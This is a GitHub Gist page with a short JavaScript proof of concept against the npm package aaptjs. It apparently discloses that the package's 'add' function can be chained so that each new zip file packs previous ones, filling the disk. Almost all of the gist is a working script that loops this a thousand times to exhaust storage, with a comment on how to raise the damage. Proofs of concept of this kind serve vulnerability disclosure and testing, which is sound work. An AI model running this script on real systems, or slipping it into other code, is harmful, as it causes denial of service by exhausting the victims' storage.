Last active
October 26, 2023 12:09
-
-
Save mcoimbra/9c5cb59dc2d4a15c20faee9c7686641f to your computer and use it in GitHub Desktop.
Package aaptjs: The aaptjs module's 'add' function can add files to an existing .zip file. It is possible to call it once to create a .zip file and then iteratively create a new .zip from the previous one, eventually filling the file system storage space.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('aaptjs'); | |
/* | |
* Creates many zip files. After PREV_ZIP_SZ zip files created, | |
* it starts adding the last PREV_ZIP_SZ zip files to the new one | |
* rather than just hte previous one. | |
*/ | |
const manyZipSpam = async function(zipCount) { | |
var prom_base = await pkg.add('test0.zip', ['aaptjs_poc.js']); | |
const PREV_ZIP_SZ = 20; | |
for (let i = 0; i < zipCount; i++) { | |
const source_array = []; | |
if (i > PREV_ZIP_SZ) { | |
for(let j = PREV_ZIP_SZ; j > 0; j--) { | |
source_array.push(`test${i - j}.zip`) | |
} | |
} | |
else { | |
source_array.push(`test${i}.zip`); | |
} | |
var prom = await pkg.add(`test${i+1}.zip`, source_array); | |
} | |
}; | |
// Increase the number to increase the storage space usage. | |
manyZipSpam(1000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment